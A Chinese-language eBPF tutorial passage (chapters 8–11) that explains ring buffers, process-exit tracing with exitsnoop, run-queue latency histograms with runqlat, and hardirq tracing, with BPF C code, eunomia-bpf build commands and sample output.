只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录,它通常会使用 BPF perf buffer(perfbuf)来实现。Perfbuf 是每个CPU循环缓冲区的集合,它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好,但由于其按CPU设计,它有两个主要的缺点,在实践中被证明是不方便的:内存的低效使用和事件的重新排序。
为了解决这些问题,从Linux 5.8开始,BPF提供了一个新的BPF数据结构(BPF map)。BPF环形缓冲区(ringbuf)。它是一个多生产者、单消费者(MPSC)队列,可以同时在多个CPU上安全共享。
BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能:
- 变长的数据记录。
- 能够通过内存映射区域有效地从用户空间读取数据,而不需要额外的内存拷贝和/或进入内核的系统调用。
- 既支持epoll通知,又能以绝对最小的延迟进行忙环操作。
同时,BPF ringbuf解决了BPF perfbuf的以下问题:
- 内存开销。
- 数据排序。
- 浪费的工作和额外的数据复制。
exitsnoop
本文是 eBPF 入门开发实践教程的第八篇,在 eBPF 中使用 exitsnoop 监控进程退出事件,并使用 ring buffer 向用户态打印输出。
使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似,首先需要定义一个头文件:
头文件:exitsnoop.h
#ifndef __BOOTSTRAP_H
#define __BOOTSTRAP_H
#define TASK_COMM_LEN 16
#define MAX_FILENAME_LEN 127
struct event {
int pid;
int ppid;
unsigned exit_code;
unsigned long long duration_ns;
char comm[TASK_COMM_LEN];
};
#endif /* __BOOTSTRAP_H */
源文件:exitsnoop.bpf.c
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "exitsnoop.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
SEC("tp/sched/sched_process_exit")
int handle_exit(struct trace_event_raw_sched_process_template* ctx)
{
struct task_struct *task;
struct event *e;
pid_t pid, tid;
u64 id, ts, *start_ts, start_time = 0;
/* get PID and TID of exiting thread/process */
id = bpf_get_current_pid_tgid();
pid = id >> 32;
tid = (u32)id;
/* ignore thread exits */
if (pid != tid)
return 0;
/* reserve sample from BPF ringbuf */
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (!e)
return 0;
/* fill out the sample with data */
task = (struct task_struct *)bpf_get_current_task();
start_time = BPF_CORE_READ(task, start_time);
e->duration_ns = bpf_ktime_get_ns() - start_time;
e->pid = pid;
e->ppid = BPF_CORE_READ(task, real_parent, tgid);
e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
/* send data to user-space for post-processing */
bpf_ringbuf_submit(e, 0);
return 0;
}
这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出:
- 首先,我们引入所需的头文件和 exitsnoop.h。
- 定义一个名为 "LICENSE" 的全局变量,内容为 "Dual BSD/GPL",这是 eBPF 程序的许可证要求。
- 定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射,它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024,代表 ring buffer 的最大容量。
- 定义一个名为 handle_exit 的 eBPF 程序,它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。
- 使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程,PID 和 TID 相同;对于子线程,它们是不同的。我们只关心进程(主线程)的退出,因此在 PID 和 TID 不同时返回 0,忽略子线程退出事件。
- 使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败,返回 0。
- 使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。
- 将进程相关信息填充到预留的事件结构体 e 中,包括进程持续时间、PID、PPID、退出代码以及进程名称。
- 最后,使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer,之后在用户空间进行处理和输出。
这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。
Compile and Run
eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。
Compile:
docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
Or
$ ecc exitsnoop.bpf.c exitsnoop.h
Compiling bpf object...
Generating export types...
Packing ebpf object and config into package.json...
Run:
$ sudo ./ecli run package.json
TIME PID PPID EXIT_CODE DURATION_NS COMM
21:40:09 42050 42049 0 0 which
21:40:09 42049 3517 0 0 sh
21:40:09 42052 42051 0 0 ps
21:40:09 42051 3517 0 0 sh
21:40:09 42055 42054 0 0 sed
21:40:09 42056 42054 0 0 cat
21:40:09 42057 42054 0 0 cat
21:40:09 42058 42054 0 0 cat
21:40:09 42059 42054 0 0 cat
总结
本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序,该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 发送给用户空间程序。在本文中,我们使用 eunomia-bpf 编译运行了这个例子。
为了更好地理解和实践 eBPF 编程,我们建议您阅读 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf 。此外,我们还为您提供了完整的教程和源代码,您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发,并为您的进一步学习和实践提供有益的参考。
eBPF 入门开发实践教程九:捕获进程调度延迟,以直方图方式记录
eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。
runqlat 是一个 eBPF 工具,用于分析 Linux 系统的调度性能。具体来说,runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。
runqlat 原理
本教程是 eBPF 入门开发实践系列的第九部分,主题是 "捕获进程调度延迟"。在此,我们将介绍一个名为 runqlat 的程序,其作用是以直方图的形式记录进程调度延迟。
Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行,或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。
进程有几种可能的状态,如:
- 可运行或正在运行
- 可中断睡眠
- 不可中断睡眠
- 停止
- 僵尸进程
等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态:进程被置入睡眠状态,直到它需要的资源变得可用。然后,根据睡眠的类型,进程可以转移到可运行状态,或者保持睡眠。
即使进程拥有它需要的所有资源,它也不会立即开始运行。它会转移到可运行状态,与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程,并决定下一个要执行的进程。
根据系统的硬件配置,这个可运行队列(称为 CPU 运行队列)的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面,如果运行队列长,那么可能意味着 CPU 不够强大,无法执行所有的进程,或者 CPU 的核心数量不足。在理想的 CPU 利用率下,运行队列的长度将等于系统中的核心数量。
进程调度延迟,也被称为 "run queue latency",是衡量线程从变得可运行(例如,接收到中断,促使其处理更多工作)到实际在 CPU 上运行的时间。在 CPU 饱和的情况下,你可以想象线程必须等待其轮次。但在其他奇特的场景中,这也可能发生,而且在某些情况下,它可以通过调优减少,从而提高整个系统的性能。
我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统:
# runqlat
Tracing run queue latency... Hit Ctrl-C to end.
^C
usecs : count distribution
0 -> 1 : 233 |*********** |
2 -> 3 : 742 |************************************ |
4 -> 7 : 203 |********** |
8 -> 15 : 173 |******** |
16 -> 31 : 24 |* |
32 -> 63 : 0 | |
64 -> 127 : 30 |* |
128 -> 255 : 6 | |
256 -> 511 : 3 | |
512 -> 1023 : 5 | |
1024 -> 2047 : 27 |* |
2048 -> 4095 : 30 |* |
4096 -> 8191 : 20 | |
8192 -> 16383 : 29 |* |
16384 -> 32767 : 809 |****************************************|
32768 -> 65535 : 64 |*** |
在这个输出中,我们看到了一个双模分布,一个模在0到15微秒之间,另一个模在16到65毫秒之间。这些模式在分布(它仅仅是 "count" 列的视觉表示)中显示为尖峰。例如,读取一行:在追踪过程中,809个事件落入了16384到32767微秒的范围(16到32毫秒)。
在后续的教程中,我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析,以更好地理解和优化系统性能。同时,我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱
runqlat 的实现利用了 eBPF 程序,它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时,trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时,handle_switch 函数会检索时间戳,并计算当前时间与排队时间之间的时间差。这个差值(或 delta)被用于更新进程的直方图,该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。
runqlat 代码实现
runqlat.bpf.c
首先我们需要编写一个源代码文件 runqlat.bpf.c:
// SPDX-License-Identifier: GPL-2.0
// Copyright (c) 2020 Wenbo Zhang
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_tracing.h>
#include "runqlat.h"
#include "bits.bpf.h"
#include "maps.bpf.h"
#include "core_fixes.bpf.h"
#define MAX_ENTRIES 10240
#define TASK_RUNNING 0
const volatile bool filter_cg = false;
const volatile bool targ_per_process = false;
const volatile bool targ_per_thread = false;
const volatile bool targ_per_pidns = false;
const volatile bool targ_ms = false;
const volatile pid_t targ_tgid = 0;
struct {
__uint(type, BPF_MAP_TYPE_CGROUP_ARRAY);
__type(key, u32);
__type(value, u32);
__uint(max_entries, 1);
} cgroup_map SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u32);
__type(value, u64);
} start SEC(".maps");
static struct hist zero;
/// @sample {"interval": 1000, "type" : "log2_hist"}
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u32);
__type(value, struct hist);
} hists SEC(".maps");
static int trace_enqueue(u32 tgid, u32 pid)
{
u64 ts;
if (!pid)
return 0;
if (targ_tgid && targ_tgid != tgid)
return 0;
ts = bpf_ktime_get_ns();
bpf_map_update_elem(&start, &pid, &ts, BPF_ANY);
return 0;
}
static unsigned int pid_namespace(struct task_struct *task)
{
struct pid *pid;
unsigned int level;
struct upid upid;
unsigned int inum;
/* get the pid namespace by following task_active_pid_ns(),
* pid->numbers[pid->level].ns
*/
pid = BPF_CORE_READ(task, thread_pid);
level = BPF_CORE_READ(pid, level);
bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]);
inum = BPF_CORE_READ(upid.ns, ns.inum);
return inum;
}
static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)
{
struct hist *histp;
u64 *tsp, slot;
u32 pid, hkey;
s64 delta;
if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0))
return 0;
if (get_task_state(prev) == TASK_RUNNING)
trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid));
pid = BPF_CORE_READ(next, pid);
tsp = bpf_map_lookup_elem(&start, &pid);
if (!tsp)
return 0;
delta = bpf_ktime_get_ns() - *tsp;
if (delta < 0)
goto cleanup;
if (targ_per_process)
hkey = BPF_CORE_READ(next, tgid);
else if (targ_per_thread)
hkey = pid;
else if (targ_per_pidns)
hkey = pid_namespace(next);
else
hkey = -1;
histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero);
if (!histp)
goto cleanup;
if (!histp->comm[0])
bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm),
next->comm);
if (targ_ms)
delta /= 1000000U;
else
delta /= 1000U;
slot = log2l(delta);
if (slot >= MAX_SLOTS)
slot = MAX_SLOTS - 1;
__sync_fetch_and_add(&histp->slots[slot], 1);
cleanup:
bpf_map_delete_elem(&start, &pid);
return 0;
}
SEC("raw_tp/sched_wakeup")
int BPF_PROG(handle_sched_wakeup, struct task_struct *p)
{
if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0))
return 0;
return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));
}
SEC("raw_tp/sched_wakeup_new")
int BPF_PROG(handle_sched_wakeup_new, struct task_struct *p)
{
if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0))
return 0;
return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));
}
SEC("raw_tp/sched_switch")
int BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next)
{
return handle_switch(preempt, prev, next);
}
char LICENSE[] SEC("license") = "GPL";
这其中定义了一些常量和全局变量,用于过滤对应的追踪目标:
#define MAX_ENTRIES 10240
#define TASK_RUNNING 0
const volatile bool filter_cg = false;
const volatile bool targ_per_process = false;
const volatile bool targ_per_thread = false;
const volatile bool targ_per_pidns = false;
const volatile bool targ_ms = false;
const volatile pid_t targ_tgid = 0;
这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置,以定制 eBPF 程序的行为。
接下来,定义了一些 eBPF 映射:
struct {
__uint(type, BPF_MAP_TYPE_CGROUP_ARRAY);
__type(key, u32);
__type(value, u32);
__uint(max_entries, 1);
} cgroup_map SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u32);
__type(value, u64);
} start SEC(".maps");
static struct hist zero;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u32);
__type(value, struct hist);
} hists SEC(".maps");
这些映射包括:
- cgroup_map 用于过滤 cgroup;
- start 用于存储进程入队时的时间戳;
- hists 用于存储直方图数据,记录进程调度延迟。
接下来是一些辅助函数:
trace_enqueue 函数用于在进程入队时记录其时间戳:
static int trace_enqueue(u32 tgid, u32 pid)
{
u64 ts;
if (!pid)
return 0;
if (targ_tgid && targ_tgid != tgid)
return 0;
ts = bpf_ktime_get_ns();
bpf_map_update_elem(&start, &pid, &ts, BPF_ANY);
return 0;
}
pid_namespace 函数用于获取进程所属的 PID namespace:
static unsigned int pid_namespace(struct task_struct *task)
{
struct pid *pid;
unsigned int level;
struct upid upid;
unsigned int inum;
/* get the pid namespace by following task_active_pid_ns(),
* pid->numbers[pid->level].ns
*/
pid = BPF_CORE_READ(task, thread_pid);
level = BPF_CORE_READ(pid, level);
bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]);
inum = BPF_CORE_READ(upid.ns, ns.inum);
return inum;
}
handle_switch 函数是核心部分,用于处理调度切换事件,计算进程调度延迟并更新直方图数据:
static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)
{
...
}
首先,函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后,如果之前的进程状态为 TASK_RUNNING,则调用 trace_enqueue 函数记录进程的入队时间。接着,函数查找下一个进程的入队时间戳,如果找不到,直接返回。计算调度延迟(delta),并根据不同的选项设置(targ_per_process,targ_per_thread,targ_per_pidns),确定直方图映射的键(hkey)。然后查找或初始化直方图映射,更新直方图数据,最后删除进程的入队时间戳记录。
接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件:
- handle_sched_wakeup:用于处理 sched_wakeup 事件,当一个进程从睡眠状态被唤醒时触发。
- handle_sched_wakeup_new:用于处理 sched_wakeup_new 事件,当一个新创建的进程被唤醒时触发。
- handle_sched_switch:用于处理 sched_switch 事件,当调度器选择一个新的进程运行时触发。
这些入口点分别处理不同的调度事件,但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。
最后,程序包含一个许可证声明:
char LICENSE[] SEC("license") = "GPL";
这一声明指定了 eBPF 程序的许可证类型,这里使用的是 "GPL"。这对于许多内核功能是必需的,因为它们要求 eBPF 程序遵循 GPL 许可证。
runqlat.h
然后我们需要定义一个头文件runqlat.h,用来给用户态处理从内核态上报的事件:
/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
#ifndef __RUNQLAT_H
#define __RUNQLAT_H
#define TASK_COMM_LEN 16
#define MAX_SLOTS 26
struct hist {
__u32 slots[MAX_SLOTS];
char comm[TASK_COMM_LEN];
};
#endif /* __RUNQLAT_H */
编译运行
eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。
Compile:
docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
或者
$ ecc runqlat.bpf.c runqlat.h
Compiling bpf object...
Generating export types...
Packing ebpf object and config into package.json...
Run:
$ sudo ecli run examples/bpftools/runqlat/package.json -h
Usage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR]
A simple eBPF program
Optional arguments:
-h, --help shows help message and exits
-v, --version prints version information and exits
--verbose prints libbpf debug information
--filter_cg set value of bool variable filter_cg
--targ_per_process set value of bool variable targ_per_process
--targ_per_thread set value of bool variable targ_per_thread
--targ_per_pidns set value of bool variable targ_per_pidns
--targ_ms set value of bool variable targ_ms
--targ_tgid set value of pid_t variable targ_tgid
Built with eunomia-bpf framework.
See https://github.com/eunomia-bpf/eunomia-bpf for more information.
$ sudo ecli run examples/bpftools/runqlat/package.json
key = 4294967295
comm = rcu_preempt
(unit) : count distribution
0 -> 1 : 9 |**** |
2 -> 3 : 6 |** |
4 -> 7 : 12 |***** |
8 -> 15 : 28 |************* |
16 -> 31 : 40 |******************* |
32 -> 63 : 83 |****************************************|
64 -> 127 : 57 |*************************** |
128 -> 255 : 19 |********* |
256 -> 511 : 11 |***** |
512 -> 1023 : 2 | |
1024 -> 2047 : 2 | |
2048 -> 4095 : 0 | |
4096 -> 8191 : 0 | |
8192 -> 16383 : 0 | |
16384 -> 32767 : 1 | |
$ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process
key = 3189
comm = cpptools
(unit) : count distribution
0 -> 1 : 0 | |
2 -> 3 : 0 | |
4 -> 7 : 0 | |
8 -> 15 : 1 |*** |
16 -> 31 : 2 |******* |
32 -> 63 : 11 |****************************************|
64 -> 127 : 8 |***************************** |
128 -> 255 : 3 |********** |
完整源代码请见:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat
参考资料:
- https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html
- https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c
总结
runqlat 是一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令。
runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间,并根据这些信息优化进程调度,提高系统的性能。可以在 libbpf-tools 中找到最初的源代码:https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF 入门开发实践教程十:在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件
eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。
本文是 eBPF 入门开发实践教程的第十篇,在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求,以及内核中的异步事件。在 eBPF 中,我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。
hardirqs 和 softirqs 是什么?
hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时,内核会将该请求映射到一个特定的中断向量,然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件,例如设备数据传输完成或设备错误。
softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制,用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比,软件中断处理程序具有更高的灵活性和可配置性。
实现原理
在 eBPF 中,我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs,需要在相关的内核函数上放置 eBPF 程序。这些函数包括:
- 对于 hardirqs:irq_handler_entry 和 irq_handler_exit。
- 对于 softirqs:softirq_entry 和 softirq_exit。
当内核处理 hardirqs 或 softirqs 时,这些 eBPF 程序会被执行,从而收集相关信息,如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。
为了捕获 hardirqs 和 softirqs,可以遵循以下步骤:
- 在 eBPF 程序中定义用于存储中断信息的数据结构和映射。
- 编写 eBPF 程序,将其挂载到相应的内核函数上,以捕获 hardirqs 或 softirqs。
- 在 eBPF 程序中,收集中断处理程序的相关信息,并将这些信息存储在映射中。
- 在用户空间应用程序中,读取映射中的数据以分析和展示中断处理信息。
通过上述方法,我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件,以识别潜在的性能问题和与中断处理相关的问题。
hardirqs 代码实现
hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间,并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。
// SPDX-License-Identifier: GPL-2.0
// Copyright (c) 2020 Wenbo Zhang
#include <vmlinux.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "hardirqs.h"
#include "bits.bpf.h"
#include "maps.bpf.h"
#define MAX_ENTRIES 256
const volatile bool filter_cg = false;
const volatile bool targ_dist = false;
const volatile bool targ_ns = false;
const volatile bool do_count = false;
struct {
__uint(type, BPF_MAP_TYPE_CGROUP_ARRAY);
__type(key, u32);
__type(value, u32);
__uint(max_entries, 1);
} cgroup_map SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_PERCPU_ARRAY);
__uint(max_entries, 1);
__type(key, u32);
__type(value, u64);
} start SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, struct irq_key);
__type(value, struct info);
} infos SEC(".maps");
static struct info zero;
static int handle_entry(int irq, struct irqaction *action)
{
if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0))
return 0;
if (do_count) {
struct irq_key key = {};
struct info *info;
bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name));
info = bpf_map_lookup_or_try_init(&infos, &key, &zero);
if (!info)
return 0;
info->count += 1;
return 0;
} else {
u64 ts = bpf_ktime_get_ns();
u32 key = 0;
if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0))
return 0;
bpf_map_update_elem(&start, &key, &ts, BPF_ANY);
return 0;
}
}
static int handle_exit(int irq, struct irqaction *action)
{
struct irq_key ikey = {};
struct info *info;
u32 key = 0;
u64 delta;
u64 *tsp;
if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0))
return 0;
tsp = bpf_map_lookup_elem(&start, &key);
if (!tsp)
return 0;
delta = bpf_ktime_get_ns() - *tsp;
if (!targ_ns)
delta /= 1000U;
bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name));
info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero);
if (!info)
return 0;
if (!targ_dist) {
info->count += delta;
} else {
u64 slot;
slot = log2(delta);
if (slot >= MAX_SLOTS)
slot = MAX_SLOTS - 1;
info->slots[slot]++;
}
return 0;
}
SEC("tp_btf/irq_handler_entry")
int BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)
{
return handle_entry(irq, action);
}
SEC("tp_btf/irq_handler_exit")
int BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)
{
return handle_exit(irq, action);
}
SEC("raw_tp/irq_handler_entry")
int BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)
{
return handle_entry(irq, action);
}
SEC("raw_tp/irq_handler_exit")
int BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)
{
return handle_exit(irq, action);
}
char LICENSE[] SEC("license") = "GPL";
这段代码是一个 eBPF 程序,用于捕获和分析内核中硬件中断处理程序(hardirqs)的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间,并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。
-
包含必要的头文件和定义数据结构:
#include <vmlinux.h> #include <bpf/bpf_core_read.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_tracing.h> #include "hardirqs.h" #include "bits.bpf.h" #include "maps.bpf.h"该程序包含了 eBPF 开发所需的标准头文件,以及用于定义数据结构和映射的自定义头文件。
-
定义全局变量和映射:
#define MAX_ENTRIES 256 const volatile bool filter_cg = false; const volatile bool targ_dist = false; const volatile bool targ_ns = false; const volatile bool do_count = false; ...该程序定义了一些全局变量,用于配置程序的行为。例如,
filter_cg控制是否过滤 cgroup,targ_dist控制是否显示执行时间的分布等。此外,程序还定义了三个映射,分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。 -
定义两个辅助函数
handle_entry和handle_exit:这两个函数分别在中断处理程序的入口和出口处被调用。
handle_entry记录开始时间戳或更新中断计数,handle_exit计算中断处理程序的执行时间,并将结果存储到相应的信息映射中。 -
定义 eBPF 程序的入口点:
SEC("tp_btf/irq_handler_entry") int BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action) { return handle_entry(irq, action); } SEC("tp_btf/irq_handler_exit") int BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action) { return handle_exit(irq, action); } SEC("raw_tp/irq_handler_entry") int BPF_PROG(irq_handler_entry, int irq, struct irqaction *action) { return handle_entry(irq, action); } SEC("raw_tp/irq_handler_exit") int BPF_PROG(irq_handler_exit, int irq, struct irqaction *action) { return handle_exit(irq, action); }这里定义了四个 eBPF 程序入口点,分别用于捕获中断处理程序的入口和出口事件。
tp_btf和raw_tp分别代表使用 BPF Type Format(BTF)和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。
Softirq 代码也类似,这里就不再赘述了。
运行代码
eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。
要编译这个程序,请使用 ecc 工具:
$ ecc hardirqs.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
然后运行:
sudo ecli run ./package.json
总结
在本章节(eBPF 入门开发实践教程十:在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件)中,我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序(hardirqs)的执行信息。我们详细讲解了示例代码,包括如何定义数据结构、映射以及 eBPF 程序入口点,以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。
通过学习本章节内容,您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法,以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。
为了更好地理解和实践 eBPF 编程,我们建议您阅读 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf 。此外,我们还为您提供了完整的教程和源代码,您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发,并为您的进一步学习和实践提供有益的参考。
eBPF 入门开发实践教程十一:在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用
eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。
在本教程中,我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序,将 eBPF 应用打包为可执行文件,实现跨内核版本分发。
libbpf 库,以及为什么需要使用它
libbpf 是一个 C 语言库,伴随内核版本分发,用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API,使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。
使用 libbpf 库有以下优势:
- 它简化了 eBPF 程序的加载、更新和运行过程。
- 它提供了一组易于使用的 API,使开发者能够专注于编写核心逻辑,而不是处理底层细节。
- 它能够确保与内核中的 eBPF 子系统的兼容性,降低了维护成本。
同时,libbpf 和 BTF(BPF Type Format)都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF(BPF Type Format)是一种元数据格式,用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式,以描述内核中的数据结构,以便 eBPF 程序可以更轻松地访问和操作它们。
BTF 在实现跨内核版本兼容方面的关键作用如下:
